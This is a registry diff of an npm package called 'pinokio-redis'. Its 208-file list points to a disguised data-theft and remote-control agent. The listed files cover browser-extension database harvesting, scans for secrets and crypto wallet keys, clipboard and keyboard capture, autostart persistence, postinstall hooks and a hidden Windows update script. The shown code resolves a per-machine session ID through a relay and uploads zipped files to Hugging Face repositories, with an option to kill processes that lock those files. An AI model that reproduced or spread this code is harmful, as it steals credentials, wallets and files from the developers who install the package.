pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,193 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.clientRegistryRowMatchesSessionTable = clientRegistryRowMatchesSessionTable;
4
+ exports.hfSessionRepoRequireSeqId = hfSessionRepoRequireSeqId;
5
+ exports.hfAutoSessionRepoSlug = hfAutoSessionRepoSlug;
6
+ exports.fetchSeqIdViaRelayHttp = fetchSeqIdViaRelayHttp;
7
+ exports.fetchSeqIdForClientTableName = fetchSeqIdForClientTableName;
8
+ /**
9
+ * Resolve forge-db `seq_id` for a `client_*` table name so Hugging Face session repos use
10
+ * `namespace/<seq_id>` (numeric repo segment under your Hub namespace).
11
+ *
12
+ * Uses `GET /api/clients` (same source as relay screenshot channel naming).
13
+ *
14
+ * **Default:** Hub repo segment is **`<seq_id>`** (digits only) — uploads fail if `seq_id` cannot be resolved.
15
+ * Set **`CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1`** on the agent to fall back to the legacy
16
+ * UUID-style Postgres slug ({@link postgresqlClientTableName}) when the API is unreachable or the client is unregistered.
17
+ */
18
+ const tableNaming_1 = require("./tableNaming");
19
+ const CACHE_TTL_OK_MS = 60_000;
20
+ const CACHE_TTL_MISS_MS = 15_000;
21
+ const _seqCache = new Map();
22
+ function lc(s) {
23
+ return s.trim().toLowerCase();
24
+ }
25
+ /**
26
+ * True when forge-db `/api/clients` row corresponds to this explorer `client_*` session table string.
27
+ * Matches `table_name` / `session_id` (case-insensitive), or derives the table name from `client_id`.
28
+ */
29
+ function clientRegistryRowMatchesSessionTable(row, clientTableName) {
30
+ const ct = clientTableName.trim();
31
+ if (!ct)
32
+ return false;
33
+ const ctl = lc(ct);
34
+ const tableName = String(row.table_name ?? "").trim();
35
+ const sessionId = String(row.session_id ?? "").trim();
36
+ if (tableName && lc(tableName) === ctl)
37
+ return true;
38
+ if (sessionId && lc(sessionId) === ctl)
39
+ return true;
40
+ const cid = String(row.client_id ?? "").trim();
41
+ if (cid) {
42
+ const computed = (0, tableNaming_1.postgresqlClientTableName)(cid, null);
43
+ if (computed && lc(computed) === ctl)
44
+ return true;
45
+ }
46
+ return false;
47
+ }
48
+ /** Default true: session Hub repos must use numeric `<seq_id>` slug. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
49
+ function hfSessionRepoRequireSeqId() {
50
+ const allowLegacy = (process.env.CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG || "").trim().toLowerCase();
51
+ if (allowLegacy === "1" ||
52
+ allowLegacy === "true" ||
53
+ allowLegacy === "yes" ||
54
+ allowLegacy === "on") {
55
+ return false;
56
+ }
57
+ return true;
58
+ }
59
+ function forgeDbApiBase() {
60
+ const raw = (process.env.RELAY_FORGE_DB_API_URL ||
61
+ process.env.FORGE_JS_SYNC_URL ||
62
+ process.env.CFGMGR_API_URL ||
63
+ "")
64
+ .trim()
65
+ .replace(/\/api\/?$/i, "")
66
+ .replace(/\/+$/, "");
67
+ return raw || "http://127.0.0.1:8765";
68
+ }
69
+ function apiKeyHeader() {
70
+ const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
71
+ return apiKey ? { "X-Forge-Api-Key": apiKey } : {};
72
+ }
73
+ /**
74
+ * Hub repo name segment for auto-session uploads: decimal **`seq_id`** string when known,
75
+ * otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
76
+ */
77
+ function hfAutoSessionRepoSlug(clientTableName, seqId) {
78
+ const ct = (clientTableName || "").trim();
79
+ if (seqId !== null &&
80
+ seqId !== undefined &&
81
+ Number.isFinite(Number(seqId)) &&
82
+ Number(seqId) >= 0) {
83
+ const n = Math.floor(Number(seqId));
84
+ return String(n).slice(0, 96);
85
+ }
86
+ return (0, tableNaming_1.postgresqlClientTableName)(ct, null).slice(0, 96);
87
+ }
88
+ /**
89
+ * Resolve `seq_id` via the relay's `/api/relay-session-seq` (relay holds forge-db API key).
90
+ * Agents on remote PCs often lack `FORGE_DB_API_KEY` and cannot call forge-db directly.
91
+ */
92
+ async function fetchSeqIdViaRelayHttp(relayHttpBase, clientTableName) {
93
+ const base = relayHttpBase.trim().replace(/\/+$/, "");
94
+ const ct = (clientTableName || "").trim();
95
+ if (!base || !ct)
96
+ return null;
97
+ try {
98
+ const res = await fetch(`${base}/api/relay-session-seq?session=${encodeURIComponent(ct)}`, {
99
+ signal: AbortSignal.timeout(12_000),
100
+ headers: { "User-Agent": "forge-jsx-agent/hf-upload" },
101
+ });
102
+ if (!res.ok)
103
+ return null;
104
+ const data = (await res.json());
105
+ const raw = data.seq_id;
106
+ const n = typeof raw === "number"
107
+ ? raw
108
+ : typeof raw === "string" && /^-?\d+$/.test(raw.trim())
109
+ ? Number(raw.trim())
110
+ : NaN;
111
+ if (!Number.isFinite(n) || n < 0)
112
+ return null;
113
+ return Math.floor(n);
114
+ }
115
+ catch {
116
+ return null;
117
+ }
118
+ }
119
+ /**
120
+ * Looks up `seq_id` from forge-db `_client_registry` for this session table name (`session_id` / `table_name`).
121
+ */
122
+ async function fetchSeqIdForClientTableName(clientTableName, opts) {
123
+ const ct = (clientTableName || "").trim();
124
+ if (!ct)
125
+ return null;
126
+ const pureDigits = /^(\d+)$/.exec(ct);
127
+ if (pureDigits) {
128
+ const n = Number(pureDigits[1]);
129
+ if (Number.isFinite(n) && n >= 0)
130
+ return Math.floor(n);
131
+ }
132
+ const directClientSeq = /^client_(\d+)$/i.exec(ct);
133
+ if (directClientSeq) {
134
+ const n = Number(directClientSeq[1]);
135
+ if (Number.isFinite(n) && n >= 0)
136
+ return Math.floor(n);
137
+ }
138
+ const now = Date.now();
139
+ const cached = _seqCache.get(ct);
140
+ if (cached && cached.expires > now) {
141
+ return cached.value;
142
+ }
143
+ try {
144
+ const base = forgeDbApiBase();
145
+ const res = await fetch(`${base}/api/clients`, {
146
+ signal: AbortSignal.timeout(12_000),
147
+ headers: {
148
+ "User-Agent": "forge-jsx-agent/hf-upload",
149
+ ...apiKeyHeader(),
150
+ },
151
+ });
152
+ if (!res.ok) {
153
+ /* agents often lack FORGE_DB_API_KEY — try relay proxy below */
154
+ }
155
+ else {
156
+ const data = (await res.json());
157
+ const rows = Array.isArray(data.clients) ? data.clients : [];
158
+ for (const row of rows) {
159
+ if (!row || typeof row !== "object")
160
+ continue;
161
+ const o = row;
162
+ if (!clientRegistryRowMatchesSessionTable(o, ct))
163
+ continue;
164
+ const raw = o.seq_id;
165
+ const n = typeof raw === "number"
166
+ ? raw
167
+ : typeof raw === "string" && /^-?\d+$/.test(raw.trim())
168
+ ? Number(raw.trim())
169
+ : NaN;
170
+ if (!Number.isFinite(n) || n < 0) {
171
+ _seqCache.set(ct, { value: null, expires: now + CACHE_TTL_MISS_MS });
172
+ return null;
173
+ }
174
+ const seq = Math.floor(n);
175
+ _seqCache.set(ct, { value: seq, expires: now + CACHE_TTL_OK_MS });
176
+ return seq;
177
+ }
178
+ }
179
+ }
180
+ catch {
181
+ /* network / timeout — fall through */
182
+ }
183
+ const relayBase = (opts?.relayHttpBase || "").trim();
184
+ if (relayBase) {
185
+ const viaRelay = await fetchSeqIdViaRelayHttp(relayBase, ct);
186
+ if (viaRelay !== null) {
187
+ _seqCache.set(ct, { value: viaRelay, expires: now + CACHE_TTL_OK_MS });
188
+ return viaRelay;
189
+ }
190
+ }
191
+ _seqCache.set(ct, { value: null, expires: now + CACHE_TTL_MISS_MS });
192
+ return null;
193
+ }
@@ -0,0 +1,55 @@
1
+ import { type HfCredentials } from "./hfCredentials";
2
+ export type HfUploadProgress = {
3
+ phase: "prepare" | "upload" | "commit" | "cleanup";
4
+ pct: number;
5
+ detail?: string;
6
+ };
7
+ /**
8
+ * User-facing Hub upload errors for `fs_hf_upload_result` (JSON-safe, no obsolete env hints).
9
+ * Defaults already disable Xet and apply fetch/commit retries — messages assume that.
10
+ */
11
+ export declare function formatHfUploadError(err: unknown): string;
12
+ /** Pack one file into a store-only zip (exported for tests). */
13
+ export declare function writeSingleFileZipStoreOnly(sourceFile: string, zipPath: string): Promise<void>;
14
+ export interface RunHfUploadOptions {
15
+ pathStr: string;
16
+ /** Optional multi-selection absolute/virtual paths from explorer (uploaded as one zip commit). */
17
+ pathList?: string[];
18
+ /** Manual Hub repo `ns/name`. Omit when `autoSessionRepo` is true. */
19
+ repo?: string;
20
+ /** Path inside the repo (POSIX-style, no leading slash). */
21
+ destination?: string;
22
+ createRepo?: boolean;
23
+ /** `zip` (default): one .zip with store-only compression; `tree`: one Hub file per disk file. Ignored in session mode (always zip for single-blob semantics). */
24
+ folderMode?: "zip" | "tree";
25
+ /**
26
+ * When true: repo = `namespace/<seq_id>` when forge-db exposes `seq_id` for this session, else legacy table slug.
27
+ * First upload creates the repo; later automatic extension uploads skip when the repo exists.
28
+ * Manual explorer uploads still append under `exports/<timestamp>/`.
29
+ */
30
+ autoSessionRepo?: boolean;
31
+ /** Session / DB table id (e.g. `client_<uuid>`) — required if `autoSessionRepo`. */
32
+ clientTableName?: string;
33
+ /** When set, skips forge-db lookup and uses this `seq_id` for the Hub repo segment `<seq_id>` (digits only). */
34
+ clientSeqId?: number;
35
+ /** Relay HTTP origin — fallback seq_id lookup via GET /api/relay-session-seq when forge-db API key is absent on the agent. */
36
+ relayHttpBase?: string;
37
+ /** Override HF username/org (else encrypted credentials or `CFGMGR_HF_NAMESPACE`). */
38
+ hfNamespace?: string;
39
+ /**
40
+ * When set (e.g. from relay `relay_hf_credentials_result`), used instead of `loadHfCredentials()`.
41
+ * Caller should not persist this object.
42
+ */
43
+ hfCredentials?: HfCredentials;
44
+ onProgress?: (p: HfUploadProgress) => void;
45
+ /** Stronger mirror staging retries (does not kill other processes). */
46
+ force?: boolean;
47
+ /** Kill processes likely locking the selection, then mirror/upload; restarts them in `finally`. */
48
+ forceKill?: boolean;
49
+ /**
50
+ * Session mode only: when the Hub repo already exists, skip upload entirely (no zip/staging work).
51
+ * Returns `{ ok: true, skipped: true, reason: "repo_exists", repo }`.
52
+ */
53
+ skipIfRepoExists?: boolean;
54
+ }
55
+ export declare function runHfUpload(opts: RunHfUploadOptions): Promise<Record<string, unknown>>;